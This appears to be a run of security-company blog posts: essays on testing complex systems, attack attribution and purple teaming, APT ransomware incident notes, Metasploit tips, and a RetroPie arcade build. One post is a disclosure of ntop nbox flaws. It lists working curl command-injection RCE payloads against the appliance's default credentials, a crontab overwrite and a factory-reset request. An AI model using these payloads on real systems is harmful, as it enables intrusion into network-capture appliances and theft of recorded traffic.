Hacking Complex Systems

Back in the day, you could download a piece of software, reverse engineer / fuzz it, find bugs, notify the vendor, post on Full Disclosure, watch a patch come out, and move on to the next bug.

These days systems have become very complex. A system might include:

• A HID (Touch screen, keyboard, other devices)
• Data Inputs (USB key, Bluetooth, Wireless, Satellite, Cell)
• Firmware (BIOS or other embedded aspects)
• OS
• Applications (both OEM and 3rd party)
• Media Servers
• Other control systems
• Telematics interfaces

This collection of components may be very expensive, on the order of 250k in some cases, or say 10-20k for a car. These components may be made by multiple different vendors, all with NDA's and MSA's between them.

This whole system is then certified and tested by numerous bodies such as FAA, TSA, NHTSA, NAFTA OEMs, Avionics Manufacturers such as Boeing and Airbus, Airlines, etc. There may be regulations and requirements around patch cycle timing, disclosure, and legal.

How in this context, can these systems be tested for security issues in a reliable and effective manner? Right now there are several ways this testing occurs:

1.) Via Testing Contracts.

The vendor puts out a bid or otherwise engages a 3rd party security company to test the system. NDAs and MSAs are exchanged, access to the system is provided, testing performed, and results delivered. Fixes are developed and pushed out according to the schedule and requirements agreed upon by all the organizations outlined above.

PROS

Vendor has a level of protection that their reputation won't be tarnished via media disclosures, their IP stolen, etc. Vendor has some assurance the testers are competent and there is a level of service expected.

CONS

This process is not public and people outside this framework have little to no insight into what is going on, how testing is done (or if), who is doing it, what fixes have been put in place. etc. This also limits the number of bright people who can see and test the system, almost ensuring that some bugs will be missed.

2.) Bug Bounties.

Vendors make some aspect of the system available publicly for anyone to test and pays a bounty for valid vulnerabilities discovered. In some special cases the vendor may make an entire system accessible for a limited amount of time. (Time limited to offset the cost of the system)

PROS

Process is public and many eyes are on the product. Raises the exposure of the product to new testers and approaches. Builds a level of trust in the vendor and assurance that the vendor "cares about security".

CONS

Costs the vendor time and effort and often produces little more than noise, or bugs already known about through internal testing. (I'm basing this on my personal discussions with vendors in the real world). Testing quality is often very low. Often the holistic system cannot be tested in this way, only components.

3.) Rogue Testing.

This is sort of where I came up in the industry initially before moving more into 1.) above. The way this works is that a researcher (or team of researchers) and/or a security company gain access to a system in some way. Examples include buying a piece of the system on eBay or in the case of publicly available systems such as avionics, testing it live. A car could be bought as well. This is sort of a black box approach as access to all the back end systems, telematics, source, .etc. will not be available.

PROS

A researcher can sort of do whatever they want without constraints. A security company can leverage this for media attention (marking / sales), and it drums up interest for conference talks. Real bugs are found this way and the vendor is technically notified, either as a heads up by the finder or via the media.

CONS

No trust is developed between the vendor and the bug finder. In fact the relationship is almost always adversarial by its nature. The public receives an unclear picture of the true threat. Do they trust the finder who is often over hyping to get attention or do they trust the vendor who has a material interest in under hyping and disproving the bug.

I'm sure I am missing other pros and cons to each of these, so please feel free to send me ideas. I'm also sure there are other approaches to testing which is why I am making this post. Here are some questions to consider:

• Are complex systems such as avionics and automotive substantially the same from a testing perspective as windows hosts or endpoint software?
• Is live testing on a passenger vehicle really the right way to do security testing?
• Should only professional security companies with contracts in hand be allowed to test?
• Are bug bounties in their current incarnation really effective for these types of systems?

My answer to the above questions is probably no.

I propose that we, the security community, collectively try to come up with a better way or framework for doing this. Any ideals will be appreciated and considered. Are you already doing something in this arena that is better than what I have outlined? Is there something you thought would work but have not gotten traction on it?

I'd love to hear from vendors, sec companies, and researchers alike.

I also propose that unethical behavior in our industry be called out. Every time a company brushes up against extortion, over hypes a bug, or claims credit for non-employee's work, just for short term sales, it damages the credibility of all of us and makes our jobs harder. Lets require the best of ourselves. Security has become huge, and is about to become bigger. Over the last year think how many times hacking has been in main stream media. Now contrast that with 10 years ago. This is an industry that is about to explode. Do we really want to be found wanting when the world finally is ready to take us seriously?

On Nation States and Sophistication

Thomas Ptacek made an interesting tweet today about Nation States, and if the term has any meaning, which got me thinking. In light of the numerous breaches that have been occurring, affecting both commerce, government, and potentially even elections, I decided to take some time to write down my thoughts on some of the subjects that come up when these events occur.

First lets talk about victim psychology. When a person or an organization is hacked, they go through similar emotions to victims of any crime. There is shame and guilt, anger, a desire to "do something about it" and to make sure "this can never happen again".

There is also a feeling of need to justify why the breach occurred; "How could this have happened?". Also important to take into consideration is the mindset of investigators. They like catching the bad guy, uncovering the mystery, beating the attacker at their own game. However, its not exciting to investigate or report on a dumb or simple attacker, who did nothing exceptional.  Because of this, people are highly incentivized to look for indicators or confirmation that the attacker was some how exceptional. This makes it more ok that they lost and were compromised and it makes investigator's jobs more exciting. (I know, I've been there.)

Lets talk about a word that gets thrown around a lot by media, government, and intrusion investigators: Sophisticated. This term seems to imply a sort of evil genius, someone who did such outlandishly amazing feats of hacking that there is no way your average organization could have stopped or detected them.

"We got broken into!"
"How could this have happened? Didn't you do your job? Didn't we spend all that money on defenses?"
"Well they were VERY sophisticated"
"Oh well ok then, nothing we could have done"

This is both true and not true. Defenders really have little hope of keeping attackers out (sophisticated or not), even if they do most everything right. Worse, what it takes to do everything "right" is very expensive, the talent to do so is scarce and hard to find, and the technology involved changes rapidly. In actuality, most breaches aren't really that sophisticated, depending on how you define the term.

In the interest of giving you background let me say I've personally investigated a large number of breaches, and my team even more. I've conducted an even larger number of attacks myself for the purposes of security, even some I would label as sophisticated, so I've worked on both sides of the issue. We have seen breaches which have been verified government attacks (verified by direct human means among a number of other things, giving me high confidence, not just by an IP address or a foreign word in code), organized crime, talented blackhats, vandalizing kids, corporate competitors, and malicious insiders. In all of these investigations, very few did anything that I would personally classify as sophisticated.

Its probably time to define what I mean when I say sophisticated. To me an attack requires a number of elements in order to be considered sophisticated:

• Is targeted rather than opportunistic. This means someone set out with intent to attack the organization rather than stumbling across a random vulnerability they could take advantage of while looking for anything random to break in to.
• Is planed. This means someone didn't just say "Let me throw a bunch of attacks at this organization I don't like", but rather put together a plan for getting in, staying in, targeting data or capabilities, getting information out, and hiding their identify. There are clues during an investigation that help you see the difference between a planned attack and a haphazard one.
• Uses unique technology or technology in a unique way. Unless there is an intentional deception going on, sophisticated attacks don't use off the shelf hacker / auditor tools. They typically use high quality (reliable) custom tools, or tools available as a part of operating systems in unusual or unintended ways.
• Involves malware that obviously took a team to write. There are very talented individuals who can write custom tools, but most often sophisticated tools are written by teams of specialists who break up and take on different features or capabilities of the tool. If you are looking at code, you can often tell this.
• May involve anti-analysis or anti-investigation techniques, or target investigators directly.
• Long term persistence. Random hackers usually want to get in and get out. Sophisticated hackers have more confidence in their tools and abilities, have more resources, and tend to stay a while to extract all the value from the compromise they can.
• Involves data theft beyond purely financial (not just Credit Card numbers) or impact on critical business functionality.

You may not agree with all of my criteria, but hopefully we can agree on the fact that there must be SOME criteria for classifying an attack as sophisticated. I should note that I have seen sophisticated attacks violate any number of the above requirements. Individually none of them certify that an attack is sophisticated, but if taken all together or in majority, they typically do.

Now lets tackle this term "Nation State". As it turns out, this is much trickier than you might suppose. In the context of computer attacks, most people might define this as an attack carried out purposefully by a government against an organization, individual, or other government. People like very clean, clear cut, black and white definitions so that we know who the bad guy is and who the good guy is. Unfortunately the world doesn't work so simply. I would like to propose that a Nation State attack could be one which incorporates any of the following:

• A highly talented individual hacker, hacking mostly alone. This person may be monitored by a government, either passively or actively, who benefit from their non-directed actions.
• A private, non-government employed, hacker group, whose activities get co-opted by a government.
• Defense contractors and other private business who supply tools and talent, knowingly or unknowingly, to a government and it's interests.
• Military staff whose purpose is typically more one of disruptive capability, but may collaborate with any of these other groups.
• Civilian government staff, comprised of intelligence professionals and others, who leverage cyber attacks for intelligence purposes.
• Any of the above who are acting for other purposes, such as personal financial benefit, not under the direction of a government, but perhaps using government tools and resources.

In light of the above, an attack may use known Nation State tools, but could be carried out by someone who either captured or stole these tools, or is using them on the side, without permission, for personal gain. Imagine, for example, a country where you don't have to be a government or military employee to hack for the government. You are given access to the best tools and training, covert networks, and target lists. You see a lot, you know where money and secrets lie. Then government polices change and your services are no longer needed, or are less needed. Maybe you took copies of the tools home. Maybe you still have accounts or access to jump stations and command and control servers. It might be tempting to leverage this to make a little money on the side. Many investigators will see the IPs you are coming from, the tools you are using, your language preferences, and make the Nation State determination, even though this is clearly not the case. I would venture to say that unless you have the following, attribution is shaky at best:

• Initial entry vector
• Copies of the tools used and high end reverse engineering capabilities
• Full packet capture and netflow of the attack
• Comprehensive logs
• Forensic images of compromised hosts
• Threat Intelligence sharing across multiple organizations or even countries
• Human intelligence (ex. confessions from the attacker, group infiltrators and spies, people assets in law enforcement or other investigatory organizations)
• Hack back. Access to attacker systems and infrastructure, or even national network infrastructure in order to monitor the actual sources of attacks.

Now for most private companies, the above is fantastically too expensive to maintain, the talent too scarce, and national laws too unfriendly, and from a business standpoint it doesn't make sense to bother. There are of course exceptions, and multiple companies working in an industry and cooperating with government or law enforcement might get close.

It is also important to say that Sophisticated attacks aren't necessarily Nation States, and Nation State attacks aren't necessarily Sophisticated. Let me give some examples.

I know the story of an individual, who when they were around 14 years old, researched and developed a suite of what I could call sophisticated tools, including hardware firmware persistence, air-gap jumping, and ex-filtrated data analytics. This person then extensively planned out an attack against a government in a country other than their own, and conducted it over the course of around a year. They did this primarily for the intellectual pursuit, and to gain access to specific technologies to help them in further attacks down the road. This attack was eventually discovered, and classified as a Sophisticated Nation State attack by the investigators, when in fact it was a talented kid, acting alone.

I have personally investigated attacks verified to be directed, executed, and managed by a foreign government, which used straight up off the shelf and publicly available hacker tools, in very obvious and even clumsy ways. The attack was successful, but was caught and stopped pretty quickly and was only determined to be Nation State because an outside organization had proof obtained by other investigatory means.

I have also seen (and performed) attacks where a couple of US based blackhats will create or purchase a 0day, modify it, build a suite of custom tools developed with foreign language packs, anonymously purchase or compromise hosts in a foreign country, and conduct a campaign against an organization in the US which has all the hallmarks of being a Sophisticated Nation State attack. But it was actually just us performing an attack simulation for a client, or a group of non-government affiliated blackhats using deception to hide who they are.

A sophisticated attack can be an expensive one (although in the case of the 14 year old maybe not so much). High end attack tools, 0day, etc. are very valuable and take time to produce. You don't want to burn these tools for no reason. This means there is incentive to use the least sophisticated and cheapest means to accomplish the following goals:

    - Gain access to a target.
    - Move freely in the target environment.
    - Maintain access as long as desired.
    - Avoid detection.
    - Transfer data at will.
    - Frustrate investigations if detected.

In many cases, the detection aspects in the list above don't matter, even for nation states. Sometimes if you can get in and get what you need with little to no repercussions, you don't care if you are detected a month later.

If you think about it this way, then the ideal situation might be to watch while a non-affiliated 3rd party performs the attack, using their own tools, and you simply reap the access or data rewards without getting your hands dirty.

The goal of this post was to point out that when you hear the terms Nation State or Sophisticated attack thrown around by the media, or companies who sell investigation / threat intelligence services and tools, you might hesitate before taking it at face value. I'm not saying these organizations are being intentionally or maliciously misleading, just that their criteria for making those statements may be too lose and ill defined.

Val Smith

Exporting workspaces from your MSF database

Quick and dirty hack to export all your findings/host/services/etc and creds from your metasploit database

Normally you'd do this with a:

workspace myworkspace
db_export -f xml -a /path/to/file.xml
db_export -f pwdump -a /path/to/file.pwdump

This can be tedious if you want to spin down an instance with tons of workspaces on it.  So I wrote a quick resource script to get it done.  This takes a list of workspaces. I'm sure you can programmatically retrieve the workspaces but I didn't.  Code below:

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...

PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:

wget http://apt.ntop.org/14.04/all/apt-ntop.deb

sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox

BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.

Uh-oh...

This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.

Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:

RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'

RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;

curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'

RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'

RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:

GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'

To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)

https://github.com/javuto/nbox-pwnage

And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!

(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!

Attack Research is Hiring!

It is very rare we post a public job ad.  Right now we have one position open with more on the way.  

http://www.attackresearch.com/jobs.html

Please take a look and apply if interested.  Or if you know anyone interested, please pass the word along.

BlackHat 2016 Classes

BlackHat 2016 is quickly approaching!  Early registration ends on Friday.  So can save a few bucks and use that to go to Defcon 2016.

This year we have decided to split our Tactical Exploitation class into the two major platforms that are covered; Windows and UNIX.  The classes are scheduled back to back.  So if you sign up for both classes you will get the same Tactical Exploitation course.

This decision came from feedback of the students who only seemed to care about one platform or another.  We believe this is a mistake since almost any enterprise environment will have both.  So for those that only want one platform, you can certainly do that.  Or if you want the original multi-platform class on our simulated enterprise environment, you can do that also.

All of our classes have a large hands-on component that we feel is essential to the learning experience and material retention.  Students must bring their own laptop, but we provide a simulated enterprise infrastructure for the class exercises and additional challenges for the more advanced students.  Many of our advanced students just love the opportunity to "play" in a fully functioning environment.

We would love for you to join us!  These classes have already sold out twice requiring us to move to bigger rooms.  But at some point we cannot grow anymore.  So sign up NOW!  Save some money and reserve your spot!

Tactical Exploitation: Attacking Unix - July 30-31, 2016

Tactical Exploitation: Attacking Windows - Aug. 1-2, 2016

Subtee regsvr32 sct with metasploit web delivery

So I put this out on twitter but failed to document it for historical reasons/find it when I need it.

I was able to replace the PoC payload with the payload from Metasploit's web delivery and it worked just fine.

original PoC here: https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302#file-backdoor-sct

Below we can see the replaced payload:

...and receiving the shell after running the command from the command line:

More on Purple Teaming

I wanted to add a bit more context/info/explanation on Purple Teaming after publishing the Ruxcon slides as well as Facebook and Twitter interactions on that topic.

What is Purple Teaming?

Currently, there are as many definitions for Purple Teaming as there are talks and blog posts on the subject but I'm going to throw mine in as well.

Purple Teaming is "conducting focused pentesting (up to Red Teaming) with clear training objectives for the Blue Team."

The clear training objectives (aka a plan to eventually get caught) for the Blue Team is what differentiates Purple Teaming from typical Red Teaming. By its very nature, Red Teaming is making a HUGE attempt not to get caught. You are pulling out all the tips & tricks and big boy tools NOT to get caught.  With Purple Teaming, you have a plan to create an alert or event in the event the Red Team is not detected by the Blue Team during the Red Team process so the Blue Team can test their signatures and alerting and execute their incident response policies and procedures.

It isn't a "can you get access to X" exercise it is a "train the Blue Team on X" exercise. The pentesting activities are a means to conduct realistic training.

A couple practical examples:

The Blue Team has created alerts to identify Sysinternals PsExec usage in the enterprise.  The Red Team would at some point use PsExec to see if alerts fire off and the Blue Team can determine which hosts were accessed or pivoted from using PsExec.  The Red Team could also make use of all the PsExec alternatives (winexe, msf psexec, impacket, etc) so the Blue Team could continue to refine and improve their monitoring and alerting.

Another scenario would be where the Blue Team manager feels like the team has a good handle on the Windows side of things but less so on the OSX/Linux side of the house.  The manager could dictate to the Red Team that they should stay off Windows Infrastructure to identify gaps in host instrumentation and network coverage for *nix types hosts and also to force incident response on OSX or Linux hosts.

Another example could be to require the Red Team not to utilize freely available Remote Access Trojans such as Metasploit or powershell Empire. Instead they could ask that the Red Team purchase (or identify a consultancy that already uses) something like Core Impact or Immunity's Innuendo or find a consultancy that has their own custom backdoor to spice things up.

Thoughts?


Other Purple Teaming resources (in no particular order):

http://www.slideshare.net/beltface/hybrid-talk
http://www.slideshare.net/HaydnJohnson/purple-view-56169114
http://www.slideshare.net/denimgroup/b-sides-san-antonio-albert-campa-denim-group
http://www.slideshare.net/alienvault/security-by-collaboration-rethinking-red-teams-vs-blue-teams-cuispa-final-22015
https://files.sans.org/summit/hackfest2014/PDFs/Hacking%20to%20Get%20Caught%20-%20Raphael%20Mudge.pdf

APT Ransomware

Yesterday this article came out from Reuters: http://www.reuters.com/article/us-china-ransomware-idUSKCN0WG2L5.

I thought it would be useful to make a post explaining the situation a little more in-depth.

Myself and several colleges (InGuardians, G-C Partners) have been engaged in related, high-impact incident response engagements over recent months.

We have been working together to correlate the results of several major investigations. At least three high-value corporations were hit by well-known APT actors over the holidays between December 2015 and January 2016. The targets in these attacks include:

• A Multi-national company from Southern California
• A Major business solutions provider on the East coast
• A Multi-national manufacturing business in the Southern US

Initially these recent incidents involved tactics that match previously seen APT style attacks, indicators of compromise, and tools, especially of a specific group. (We matched file hashes, typing patterns, source IPs / hostnames, etc.)

In the past the primary goals of these actors seemed to be collecting information from targets and maintaining access while evading detection. In these new cases however, the attackers attempted to manually deploy crypto ransomware across large swaths of victim computers in addition to the typical APT tools. This is unusual because in the experience of all three information security firms, crypto ransomware is typically installed opportunistically by malicious websites and drive-by downloads, not manually by an intruder. Also this behavior has always been seen related to criminal activities, not intelligence gathering by nation states.

Before these latest intrusions, active attackers mass installing crypto ransomware on major corporation computers had never been seen by any of the three companies performing the investigations. In the most recent occurrence the attacker made use of a much older breach to automatically deploy ransomware furthering changing the methods seen and used.

This is also unusual because it seems to be in contradiction to the motivations that have been seen in the past. Typically, the motivation behind installing crypto ransomware has been that lone actors or crime rings are using basic phishing tactics to extort relatively small amounts money from individuals or corporations.  In contrast, the motivation for APT attacks have traditionally been considered to be nation state directed and focused on stealing valuable information without being detected. The dollar amounts targeted are in the millions.

THEORIES

We have come up with several theories:

1. After the fallout from the OPM hack, the Chinese government officially backed off from its hacking operations against the US. Numerous individuals who were employed as civilian contractors are now essentially out of work, but still have access to targets and toolsets. These individuals have started employing crypto-ransomware in order to replace lost government income and continue hacking.
2. This activity is either practice for, or the beginnings of a denial and disruption campaign against US companies. The actors don’t actually care about the money potential but rather are interested in the extensive disruption caused by the attacks. 
3. The activities and motivations of APT actors haven’t changed, but rogue elements within their groups are employing these tactics and reusing existing infrastructure in order to acquire supplemental income. 

In one case, the attackers used standard APT tools and techniques to attack laterally and gain access to domain controllers, then launch a GPO to push out the ransomware. Thankfully they made a small typo which caused it to fail. In another case they redirected monetary payments but, due to another small mistake, were caught before too much money was lost.

Due to confidentiality requirements with our clients, we can't post too many more details at this time, but will give updates as we can.

Attack Research, InGuardians, and G-C Partners are continuing to investigate the activity as it progresses. If you have seen similar activity and are willing to share details, please contact any of the three companies.

Val Smith

CCDC Quals Notes (metasploit)

Some quick notes for interesting stuff to keep for CCDC Quals/Notes


Rapid Fire PSExec

Use db_nmap to scan and populate the databse or db_import to import nmap xml into your workspace.  This one uses open port 445 to query the database

https://gist.github.com/carnal0wnage/d058913628ba4a3d6363

This one uses open service of smb to query the database

https://gist.github.com/carnal0wnage/1f3944b4dd7eb6a54fd3


Running Metasploit Post modules against all sessions

Resource script to run a single post module against all sessions.  Navigate to your post module, set up any required options then run this resource script.

https://gist.github.com/carnal0wnage/16cd70615dcebd378914

Got this from: https://k0st.wordpress.com/2015/07/10/running-commands-on-multiple-meterpreter-sessions/

Update: Dre mentioned his already exists here:
https://github.com/rapid7/metasploit-framework/blob/master/scripts/resource/run_all_post.rc

Running a Meterpreter Command against all sessions

https://gist.github.com/carnal0wnage/b6fd24a19697e58bde96

Got the code from mubix

Running a Windows command against all sessions
This functionality is already built into the sessions command

Just run sessions -c "command" and if you don't put a session to interact with it will run on all sessions.

I used this to run the Empire launcher on all sessions.

Running a Meterpreter script against all sessions


Just run sessions -s meter_script and if you don't put a session to interact with it will run on all sessions.

Purple Teaming - Lessons Learned & Ruxcon Slides

Note:
I wrote a bunch of this while still at Facebook but have since changed jobs.  Anything FB is now replaced with $previousjob since I cant speak for them anymore. This was supposed to go on  their Protect The Graph post but never happened. The content was useful (I hope) so hopefully people will get something from it.  Also slides release here and at the bottom.

---

Recently Chris Gates from the $previousjob Incident Response team presented at Ruxcon (https:// ruxcon.org.au) on “Purple Teaming: One Year After Going From Full Time Breaker To Part Time Fixer”. The talk was used to highlight some of $previousjob’s experiences “Going Purple” over the last 18months.

What is Purple Teaming?
Purple Teaming is “Putting more Offense in your Defense” and “More Defense in your Of-
fense”. We do this to iteratively improve the quality of both our Red and Blue Teams by conducting focused Red Teams with clear training objectives for the Blue Team.

The talk highlighted observations and lessons learned during this process.

1. Acknowledging the need for the creation of an internal Red Team. The maturity of the security program coupled with the complexity of the organization made it necessary to have internal knowledge to craft more interesting attacks for Red Team exercises.
2. The creation of an internal Red Team and the location of the internal Red Team on the organizational chart. Many companies have both Red and Blue teams operating as separate entities. This frequently causes animosity between the two teams that can lead to growth stagnation because the two teams become focused on catching or defeating each other rather than innovating together in order to better defend their company. $previousjob’s Red Team is a component of the Incident Response team giving both the Red an Blue teams the same reporting structure. This placement was intentional as an attempt to avoid animosity and the “us vs. them” mentality that can frequently plague internal Red and Blue teams.
   
3. Changing the typical definition of a “Red Team” to be less focused on vulnerability discovery and instead serve as a training event for the Blue Team. For $previousjob, a Red Team exercise tests our ability to respond to an incident and find broken tools and processes. The offensive part of the exercise is required to tell a good story, model the chosen attacker profile, and craft real world attacks for the Blue Team’s training objectives. The Post Exploitation, Persistence, Lateral Movement portions of the attack are far more important than the initial method of exploitation. With this is in mind, it is deemed “OK” for a trusted insider to be the initial exploitation vector (phish, browser attack, etc) and for the Incident Response manager to suppress any initial alerts that may come about from the initial exploitation vector in order to let the attack play out and allow the Red Team to move on to the post exploitation, persistence, and lateral movement pieces of the attack.
   
4. Having a Red Team in-house allows $previousjob the ability to test vs. believing assumptions or information provided from other teams. It allows us to more easily validate answers to really important questions like “where can an attacker go if they had a certain set of credentials” or "what can an attacker REALLY do with a certain level of access" vs. what we THINK they can do with that access. The in-house Red Team is also required to stay up to date with the latest tools and techniques and can use that information to write detection signatures to catch these tools.
   
5. Our Red Team reports have both the Red and Blue narrative making the report more valuable as readers see both sides of the attack. Red Team reports are typically only offensive oriented with no mention of incident response, defense, or how well the organization fared against the attackers. By having both the Blue and Red teams tell their respective sides of the story, we tell a much more complete story in our reports. This has the added benefit of highlighting to leadership and the company as a whole the value of the Incident Response team and show wins with new initiatives, gear, training, etc.

The talked wrapped up with a walk-thru of one of the latest Red Team exercises. The slides are available here:

Going Purple : From full time breaker to part time fixer: 1 year later from Chris Gates

link

Arcade Gaming System on Raspberry Pi 2 & RetroPie (Part 2)

Arcade Gaming System on Raspberry Pi 2 & RetroPie (Part 2)

MAME

The RetroPie readme on ROM Management is here:
https://github.com/RetroPie/RetroPie-Setup/wiki/Managing-ROMs

Prepare to spend a bunch of time here.  You basically drop the ROMs for the appropriate emulator in its folder inside of RetroPie/roms/mame-*

Ah but whats the appropriate emulator?  I'm still muddling through this but from what I've read so far, the community has upgraded rom sets over the years. MAME emulators in RetroPie support multiple ROM sets although you might not be able to download that specific set anymore.  For example I've been using this site: http://edgeemu.net/browse-mame.htm to download a bunch of the image. They are romset 1.58 which if you notice is not used by RetroPie!

So as you read the Managing Roms page you'll see it recommends to use Clrmamepro to convert one version of a ROM to another.  The instructions are on the page.  Most confusing thing so far has been split vs merged.  Merged ROMs will lump multiples into one zip file that may or may not give you all the versions of the game you want to play.

For example; If you download all the Galaga ROMs and do merged you'll get ONE Galaga game spit out in the output folder even though there are like 10 different ones (I like the fast shoot one).  If you do split you'll get the 10 different ones spit out and you'll have to check the scanner output (Step 6) will tell you by each folder which ROMs you are missing.

Once it builds and scans without errors you put it in the appropriate emulator folder you are building for. I ended up with multiple MAME instances for different versions of ROMS.  My trackball doesn't work for advmame-1.4 but does for mame4all.

If you need some motivation for games to download, THIS is pretty good:




How to get the thumbnails and metadata

All the cool screenies show the thumbnail and metadata in emulation station.

Example:

It's not super clear how to get this data.  There is a scaper built into emulationstation but it was slow. I gave up.  Some searching around lead to https://github.com/sselph/scraper. This worked great.

Make sure emulationstation is not running.

My Pi distro didn't have go installed so I just downloaded the binaries listed in the readme and it worked.  Afterwards I cd'd into the roms directory and did a scraper -scrape_all -thumb_only.  This worked for everything but the MAME roms, see the readme or just get into the MAME rom folder and do scraper -mame -thumb_only. Make sure emulationstation is not running. It puts a lock on the gamelist.xml file and it wont update.  Once its done you'll have the cool picture and metadata when you browse your games. :-)

Happy Dance

Themes
You can install background themes in Emulationstation. Everything you need is here:

https://github.com/RetroPie/RetroPie-Setup/wiki/themes

Arcade Gaming System on Raspberry Pi 2 & RetroPie (Part 1)

Arcade Gaming System on Raspberry Pi 2 & RetroPie (Part 1)

I've been wanting an arcade system every since Rec Room Masters posted an ad on my Facebook feed last year.  It's very much a want vs. need so I waited over a year to purchase one. Below is the setup

Purchase Tankstick and Raspberry Pi 2 (see below)

The RetroPie for the RaspberryPi does all the heave lifting for you on getting the emulators set up. It even automates making the tankstick work. It was pretty much plug and play.

Steps:

Downloaded and installed  Raspbian Wheezy. Instructions here:
https://www.raspberrypi.org/documentation/

Upgrade the distro once its booted up:

apt-get update
apt-get upgrade

To get Retro-Pie up and running I followed the Retro-Pie instructions here:
https://github.com/retropie/RetroPie-Setup
https://github.com/RetroPie/RetroPie-Setup/wiki

I picked to install the binaries vs install from source it still took about 4 hours to get all the packages downloaded and installed.

RetroPie also has a image you can use but I didn't go that route, it would probably be faster though
http://blog.petrockblock.com/retropie/retropie-downloads/

Running Total:
TankStick 149.99 + 19.99 (S/H) => $169.98 USD
Raspberry Pi 2  34.99 + 3.89 (S/H) => $38.88 USD

There is a separate wifi adapter and case for the Pi on their way; both technically optional

Raspberry Pi Case (it's going to eventually go in Arcade Cabinet) $8.79 + S/H
Small WiFi Adapter (inconvenient to ethernet to the Pi) $9.99 + S/H
Total for the above => $26.84

You'll also need a USB keyboard and mouse to log in to the pi and do some configuring. I had several laying around the house.

Starting Up

